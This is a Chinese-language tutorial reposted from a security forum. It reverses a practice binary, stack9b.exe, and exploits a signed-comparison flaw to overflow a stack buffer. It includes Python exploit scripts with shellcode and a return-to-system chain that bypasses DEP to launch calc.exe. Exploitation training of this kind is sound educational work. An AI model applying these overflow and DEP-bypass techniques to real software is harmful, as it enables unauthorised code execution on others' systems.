繞過資料執行保護
大家好!這篇文章的主題是—— 如何溢位緩衝區,繞過DEP(資料執行保護)並且控制可執行程式。
先決條件:
1)C/c++語言,基礎水平即可;
2)英特爾x86彙編;
3)熟悉緩衝區溢位;
4)偵錯程式/反編譯;
檔案:
-
File
好的,我們需要做的第一件事是看看可執行檔案會給我們什麼資訊,所以我們執行它:
這裡,我們看到它正在請求一個檔案檔案。但由於檔案不存在,程式返回給我們它不能開啟。建立檔案後,我們看到它顯示了一個訊息,3個值為0,似乎對應3個變數(cookie, cookie2和size),除此之外就沒別的東西了。
既然我們不知道它的作用,讓我們來看看它。
這個函式有5個變數,其中4個變數被初始化為零,1個變數在(“2”)處初始化為0x32,一個指向LoadLibrary的指標儲存在0x10103024處。然後以二進位制讀取模式fopen “fichero.dat”檔案,儲存檔案指標在0x10103020。最後檢查它是否存在,如果它不存在,它將轉到0x101010d3並關閉(正如我們之前看到的);如果它存在,它將轉到0x101010e9。讓我們看看那裡:
在這個過程中,它首先使用fread從檔案fichero.dat中讀取4位元組並將它們儲存在一個指標指向看起來像是一塊記憶體的地方(ebp-c),fread返回讀取元素的總數並且將它儲存在ebp-8,接著繼續fread從檔案中讀4個位元組,並將它們儲存在一個指標指向ebp-10的記憶體區域。
然後它再一次重複這個過程,並將1個位元組儲存在一個指標ebp-1,最後將這個位元組與(ebp-14)即0x32(“2”)比較,如果是小於或等於(jle),就會轉到0x10101155;如果不是這樣,顯示一條“Nos fuimos al carajo”(我們要滾蛋了)資訊,接著就關閉了。
我們寫入檔案8位元組+正確的位元組(“2”),然後輸入0x10101155,例如:
1234 + 5678 + 2
在這裡,它使用fread入棧儲存位元組並列印它們,使用malloc分配50位元組(32h)記憶體,將返回的記憶體指標儲存到ebp-1c中,然後入棧“fichero.dat”的前8位元組到0x10101010:
好的,它在這裡做的是它取fichero.dat的前4個位元組,將它們新增到以下4個位元組,然後將結果與0x58552433進行比較,如果條件正確,載入“pepe.dll”。
然後讓我們確保滿足條件(因為它是小端位元組,我們必須把位元組反向)。
因為並不是所有的字元都符合“0”(30h) +“(28h) = 58h(1位元組正確)的條件,所以我們做了一個指令碼來完成它:
data = "\x21\x1210" + "\x12\x12$(" + "2" with open("fichero.dat", "w") as file: file.write(data)
好的,這一定能夠滿足條件的,我們看看:
讓我們看看現在是什麼情況:
離開0x10101010之後,我們會看到它用fread讀取了fichero.dat的[ebp-1]位元組並將他們儲存在一個指向(ebp-54)的緩衝區中,好的,這是一個緩衝區溢位,讓我們分析一下。
首先我們看到"fichero.dat"的第9個位元組儲存在[ebp-1]中,然後與ebp-14進行比較:
現在我們看到位元組([ebp-1])是fread的讀取大小,並將大小存在一個(ebp-54)52位元組緩衝區,正如最近的變數是ebp-20,我們有[ebp-54]-[ebp-20]=[ebp-34],所以是0x34(52d),我們還可以看到在IDA堆疊,右鍵->array->ok:
知道了這些,我們怎麼能溢位緩衝區呢?
[ebp-1]是fichero.dat的第9個位元組。fread的大小儲存在緩衝區中[ebp-54],並且必須小於或等於0x32(“2”)。
我們知道十六進位制的負數在十進位制裡會溢位,所以如果我們在十六進位制裡放一個負數它會允許我們輸入比允許的更多的位元組(52d)這是因為它是有符號的(jle)。
0x10101139 movsx ecx,byte ptr ss:[ebp-1] 0x1010113d cmp ecx,dword ptr ss:[ebp-14] 0x10101140 jlestack9b.10101155
讓我們嘗試到達緩衝區的邊緣,同時溢位fread的2位元組(50位元組,32h)。
data = "\x21\x1210" + "\x12\x12$(" + "\xff" + "A" * 52 with open("fichero.dat", "w") as file: file.write(data)
酷啊! ! !讓我們看看是否可以控制retn。
有一個過程,它複製記憶體中malloc [ebp-1c]分配的塊的緩衝區位元組[ebp-54]。
所以,如果我用“\x41x41x41\x41\x41”來填[ebp-1c],因為它不是一個有效地址所以我們不能寫入,那我們來找一個有效地址。
好了,讓我們檢查堆疊,看看需要多少位元組才能到達retn並控制它。
好的,現在我們來編寫exploit:
import subprocess shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1" buff = "\x41" * 52 ebp_20 = "\x41" * 4 ebp_1c = "\x30\x30\x10\x10"# Address with write permission ebp_18 = "\x41" * 4 ebp_14 = "\x41" * 4 ebp_10 = "\x41" * 4 ebp_c = "\x41" * 4 ebp_8 = "\x41" * 4 ebp_4 = "\x41" * 4 s = "\x41" * 4# ebp r = shellcode data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + ebp_20 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r with open("fichero.dat", "w") as file: file.write(data) subprocess.call(r"stack9b.exe")
好的,我們已經控制了EIP,但是現在它不允許我執行我的shellcode,這是由於DEP(資料執行保護)。
總結一下,DEP修改了儲存資料的段的許可權,以防止我們在那裡執行程式碼 --ricnar。
因此,為了繞過DEP,我們可以使用ROP(返回導向程式設計),它基本上是使用程式的可執行程式碼片段,執行一些api(如VirtualProtect或VirtualAlloc)改變堆疊許可權。
在pepe.dll尋找gadget中我找不到VirtualAlloc,但是有一個指向system()的指標,只會缺少一個return,可以使用exit()和一個固定位置的我們可以控制將一個字串傳遞給system()的值。
現在只缺system()的引數了,我們可以使用帶有寫許可權的地址:
這裡我設定了堆疊,因為malloc只分配了50個位元組且沒有控制eip,這就是exp的樣子。
import subprocess system = "\x24\x98\x01\x78"# system() calc = "calc.exe" buff = "\x41" * 42 #ebp_20 = "\x41" * 4 ebp_1c = "\x30\x30\x10\x10"# Address with write permission ebp_18 = "\x41" * 4 ebp_14 = "\x41" * 4 ebp_10 = "\x41" * 4 ebp_c = "\x41" * 4 ebp_8 = "\x41" * 4 ebp_4 = "\x41" * 4 s = "\x41" * 4# ebp r = system exit = "\x78\x1d\x10\x10"# exit() ptr_calc = "\x5a\x30\x10\x10" data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + calc + "\x41" * 6 +ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r + exit + ptr_calc with open("fichero.dat", "w") as file: file.write(data) subprocess.call(r"stack9b.exe")
看雪ID:wangrin
bbs.pediy.com/user-589827
本文由看雪論壇 wangrin 原創
轉載請註明來自看雪社群
熱門文章推薦
-
ofollow,noindex">擴充_ETHREAD結構
戳原文,看看大家都是怎麼說的?